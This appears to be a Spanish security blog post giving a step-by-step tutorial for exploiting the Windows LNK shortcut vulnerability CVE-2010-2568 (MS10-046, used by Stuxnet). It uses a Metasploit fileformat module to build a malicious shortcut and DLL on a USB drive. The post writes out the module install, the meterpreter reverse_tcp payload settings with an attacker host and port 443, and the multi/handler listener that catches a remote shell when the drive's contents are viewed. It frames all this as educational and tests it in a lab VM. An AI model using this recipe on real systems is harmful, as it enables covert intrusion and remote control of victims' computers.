En la V Jornadas STIC organizadas por el CCN-CERT, el pasado 14 de Diciembre, utilice para la demostración la vulnerabilidad asociada a los archivos "LNK" o lo que es lo mismo, los enlaces directos en Microsoft Windows. Para ello utilice la excelente herramienta Metasploit.
Windows Shell in Microsoft Windows XP SP3, Server 2003 SP2, Vista SP1 and SP2, Server 2008 SP2 and R2, and Windows 7 allows local users or remote attackers to execute arbitrary code via a crafted (1) .LNK or (2) .PIF shortcut file, which is not properly handled during icon display in Windows Explorer, as demonstrated in the wild in July 2010, and originally reported for malware that leverages CVE-2010-2772 in Siemens WinCC SCADA systems.[CVE-2010-2568 | MS10_046]
ANTECEDENTES
El contenido de este artículo es meramente informativo y/o con fines educativos, no me hago responsable del uso que de él se pueda hacer.
La vulnerabilidad LNK fue explotada por Stuxnet para propagarse e infectar otros equipos vía USB. Esta consistía en la ejecución de código arbitrario de forma automática con tan
solo "mostrar" un icono con un enlace directo (shortcut icon) cuya
extensión es LNK. A continuación os dejo un vídeo que demuestra, la ejecución de código arbitrario utilizando un archivo (LNK) maliciosamente preparado.
Por defecto el modulo que incluye metasploit para las "demostraciones didácticas" de la vulnerabilidad MS10_046 (LNK), esta orientado para ser explotada mediante la visualización del "enlace LNK" a través del navegador web.
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious DLL. This module creates a WebDAV service that can be used to run an arbitrary payload when accessed as a UNC path.[ms10_046_shortcut_icon_dllloader]Por poner un ejemplo, he echo una simple búsqueda en YouTube, y he encontrado el siguiente vídeo que realiza la demostración de usar el modulo de metasploit, comentado en el párrafo anterior.
Sin embargo, mi intención era crear un archivo "LNK" malicioso y utilizar un USB para su propagación, en mi empeño, encontré por el camino USBSploit Framework, que consiste en una versión de metasploit paquetizada para ser utilizada con un "script en ruby" de infección remota de dispositivos USB. (Más información aquí).
USBsploit 0.6b - PoC to generate Reverse TCP backdoors, running Autorun or LNK USB infections, but also dumping all USB files remotely on multiple targets at the same time. USBsploit works through Meterpreter sessions with a light (27MB) modified version of Metasploit. The interface is a mod of SET (The Social Engineering Toolkit). The Meterscript script usbsploit.rb of the USBsploit Framework can otherwise be used with the original Metasploit Framework.Lo cierto, es que solo necesita un pequeño modulo de creación de archivos LNK para Metasploit, buscando encontré uno que era perfecto! para mi objetivo.
El modulo en cuestión es "ms10_046_shortcut_icon_dllloader.rb" denominado de la misma forma que el que viene incluido por defecto en metasploit, con la salvedad, que este modulo no es para navegador (browser) sino para ficheros (FILEFORMAT).
A continuación os explicaré los pasos necesarios para crear un archivo malicioso "LNK".
EJEMPLO: PRÁCTICO - PASOS
1) Instalación del modulo en Metasploit
Suponiendo que el framework se encuentra instalado en /opt/framework/msf3, el archivo "ms10_046_shortcut_icon_dllloader.rb" deberá ser copiado a la carpeta/directorio:
$> cp ms10_046_shortcut_icon_dllloader.rb /opt/framework3/msf3/modules/exploits/windows/fileformat
2) Iniciamos la consola de mestasploit y comprobamos que se encuentra disponible el nuevo modulo.
Comprobamos que efectivamente aparece el modulo que se acaba de copiar.$> msfconsole$msf> search LNK
3) Ahora cargamos el exploit correspondiente.
$msf> use exploit/windows/fileformat/ms10_046_shortcut_icon_dllloader
4) Configuramos los parámetros del modulo. Para configurar las variables, utilizar el comando "set" y a continuación la variables y el valor.
Nota: se que es limitado utilizar una letra en concreto (E:), pero no olvidéis el carácter didáctico de este artículo.Variable: ValorDLLNAME: payload.dllFILENAME: Shortcutname.lnkOUTPUTPATH: ./data/exploits/ (Lugar donde se crearan los dos archivos dll y lnk)UNCPATH: E:/payload.dll (Aqui es donde debemos poner la letra del dispositivo USB que vamos a utilizar)
5) Configuración del PAYLOAD y las variables del mismo, que sera incluido en el DLL.
A mi me gusta mucho "meterpreter", por lo que elegiré precisamente esta opción.
$msf> set PAYLOAD windows/meterpreter/reverse_tcp$msf> set LPORT 443$msf> set LHOST 10.0.0.1 (IP que escuchará una conexión en el puerto 443)
6) Crear los ficheros maliciosos
Ahora queda ejecutar el "exploit", y comprobar que se han generado los archivos "dll" y "lnk" en el directorio: "/opt/framework3/msf3/data/exploit"
Salimos de Metasploit, y verificamos que tenemos los archivos correspondiente creados en el directorio.$msf> exploit
$>ls -laspayload.dll, Shortcutname.lnk
7) Ahora solo tenemos que tener un Windows XP SP3 - recién instalado sin Antivirus (recordar, es un caso didáctico), y comprobar que se ejecuta código arbitrario.
ESCENARIO DE PRUEBAS
Para las pruebas lo mejor es utilizar un entorno virtual, para ello disponéis de software especifico para virtualización como VirtualPC, VirtualBox, VMware, Xen, etc. El escenario es muy sencillo, con los pasos anteriores se ha creado un USB que explota la vulnerabilidad LNK e inicia una conexión a través del puerto 443 con el servidor de meterpreter, tal y como se muestra en la siguiente imagen:
Escenario para las pruebas didácticas de explotar la vulnerabilidad LNK con un dispositivo USB. |
¿Cómo preparo el servidor de meterpreter?
Para ello debemos de iniciar un "listener" en metasploit, de la siguiente forma:
msf > use multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 10.0.0.1 LHOST => 10.0.0.1 msf exploit(handler) > exploit [*] Started reverse handler [*] Starting the payload handler...
Una vez listo el "handler", solamente se tiene que introducir el USB al "PC-Host" (Ojo, desactivar vuestro antivirus si no querréis que elimine el archivo LNK y salten las alarmas de virus), luego asignar el USB a la maquina virtual correspondiente, en este caso el WindowsXP SP3.
En el momento que se muestre el contenido del USB (sin necesidad de ejecutar absolutamente nada), podréis comprobar en la máquina con Metasploit, que tenéis una conexión establecida de meterpreter. Para ello, ejecutar los siguientes comandos:
$msf> sessions
Deberá aparecer que tenéis una sesión activa con el identificador 1.
Para activar la sesión y utilizar meterpreter...
$msf> sessions -i 1
A partir de este momento, tendréis activa la sesión de meterpreter! ¿Qué es meterpreter? o ¿Qué funciones tiene? no esta dentro del alcance de este artículo. Quizás en otra ocasión prepare un artículo que utilice una sesión de meterpreter como la que hemos preparado en éste.
Un Saludo.
El contenido de este artículo es meramente informativo y/o con fines educativos, no me hago responsable del uso que de él se pueda hacer.
0 comentarios:
Publicar un comentario